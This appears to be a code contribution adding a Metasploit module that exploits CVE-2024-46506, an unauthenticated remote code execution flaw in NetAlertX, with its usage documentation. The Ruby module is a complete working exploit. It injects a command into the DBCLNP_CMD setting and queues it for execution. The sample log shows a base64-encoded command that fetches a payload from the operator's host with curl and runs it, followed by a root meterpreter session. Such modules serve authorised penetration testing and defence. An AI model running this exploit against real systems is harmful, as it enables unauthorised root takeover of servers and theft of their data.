Add NetAlertX unauthenticated RCE module (CVE-2024-46506)

documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md

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+## Vulnerable Application
+
+An attacker can update NetAlertX settings with no authentication, which results in RCE.
+
+The vulnerability affects:
+
+    * v23.01.14 <= NetAlertX <= v24.9.12
+
+This module was successfully tested on:
+
+    * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
+
+
+### Installation
+
+1. `docker pull jokobsk/netalertx:24.9.12`
+
+2. docker run
+```bash
+docker run --rm --network=host \
+  -v /tmp/netalertx:/app/config \
+  -v /tmp/netalertx:/app/db \
+  -e TZ=Europe/Berlin \
+  -e PORT=20211 \
+  jokobsk/netalertx:24.9.12
+```
+
+
+## Verification Steps
+
+1. Install the application
+2. Start msfconsole
+3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
+4. Do: `run lhost=<lhost> rhost=<rhost>`
+5. You should get a meterpreter
+
+
+## Options
+### WAIT (required)
+Wait time (seconds) for the payload to be set. Default is `75`.
+
+### CLEANUP
+Restore DBCLNP_CMD to original value after execution. Default is `true`.
+
+
+## Scenarios
+```
+msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
+[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
+
+Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   CLEANUP  true             no        Restore DBCLNP_CMD to original value after execution
+   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+   RPORT    20211            yes       The target port (TCP)
+   SSL      false            no        Negotiate SSL/TLS for outgoing connections
+   VHOST                     no        HTTP server virtual host
+   WAIT     75               yes       Wait time (seconds) for the payload to be set
+
+
+Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
+
+   Name                Current Setting  Required  Description
+   ----                ---------------  --------  -----------
+   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+   FETCH_DELETE        true             yes       Attempt to delete the binary after execution
+   FETCH_FILENAME      GXIuXvsu         no        Name to use on remote system when storing payload; cannot contain spaces or slashes
+   FETCH_SRVHOST                        no        Local IP to use for serving payload
+   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
+   FETCH_URIPATH                        no        Local URI to use for serving payload
+   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
+   LHOST               192.168.0.12     yes       The listen address (an interface may be specified)
+   LPORT               4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Linux Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
+[*] Started reverse TCP handler on 192.168.56.1:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version 24.9.12 detected.
+[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
+[*] Waiting settings really updated...
+[*] Sending stage (3045380 bytes) to 192.168.56.17
+[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
+[*] Added the payload to the queue. Waiting for the payload to run...
+[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer     : 192.168.56.17
+OS           :  (Linux 6.8.0-51-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```

modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::Retry
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Unauthenticated RCE in NetAlertX',
+        'Description' => %q{
+          An attacker can update NetAlertX settings with no authentication, which results in RCE.
+        },
+        'Author' => [
+          'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
+          'Takahiro Yokoyama' # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2024-46506'],
+          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
+          # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
+        ],
+        'DefaultOptions' => {
+          'FETCH_DELETE' => true,
+          'WfsDelay' => 150
+        },
+        'Platform' => %w[linux],
+        'Targets' => [
+          [
+            'Linux Command', {
+              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
+            }
+          ],
+        ],
+        'DefaultTarget' => 0,
+        'Payload' => {
+          'BadChars' => ' \'\\'
+        },
+        'DisclosureDate' => '2025-01-30',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE, ],
+          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
+          'Reliability' => [ REPEATABLE_SESSION, ]
+        }
+      )
+    )
+
+    register_options(
+      [
+        Opt::RPORT(20211),
+        OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
+        OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
+      ]
+    )
+    register_advanced_options(
+      [
+        OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
+      ]
+    )
+  end
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'maintenance.php')
+    })
+    return Exploit::CheckCode::Unknown unless res&.code == 200
+
+    html_document = res&.get_html_document
+    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
+
+    version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
+    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
+
+    version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
+    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
+
+    Exploit::CheckCode::Appears("Version #{version} detected.")
+  end
+
+  def exploit
+    # Command is split by space character, and executed by the following Python code:
+    # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
+    # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
+    # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
+    cmd = "/bin/sh -c #{payload.encode}"
+    update_settings(cmd, '*')
+    # Not updated immediately
+    print_status('Waiting for the settings to be properly updated...')
+    retry_until_truthy(timeout: datastore['WAIT']) do
+      check_settings(cmd)
+    end
+    add_to_execution_queue('run|DBCLNP')
+    add_to_execution_queue('cron_restart_backend')
+    print_status('Added the payload to the queue. Waiting for the payload to run...')
+  end
+
+  def update_settings(cmd, sche)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
+      'vars_post' => {
+        'function' => 'savesettings',
+        'settings' => [
+          ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
+          ['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
+          ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
+        ].to_json
+      }
+    })
+    fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
+    print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
+  end
+
+  def add_to_execution_queue(cmd)
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
+      'vars_post' => {
+        'function' => 'addToExecutionQueue',
+        'action' => "#{SecureRandom.uuid}|#{cmd}"
+      }
+    })
+    fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
+  end
+
+  def check_settings(cmd)
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
+    })
+    return unless res&.code == 200
+
+    res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
+  end
+
+  def cleanup
+    super
+
+    if datastore['CLEANUP']
+      # Default settings, isn't usually changed.
+      # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
+      update_settings(
+        'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
+        '*/30'
+      )
+    end
+  end
+end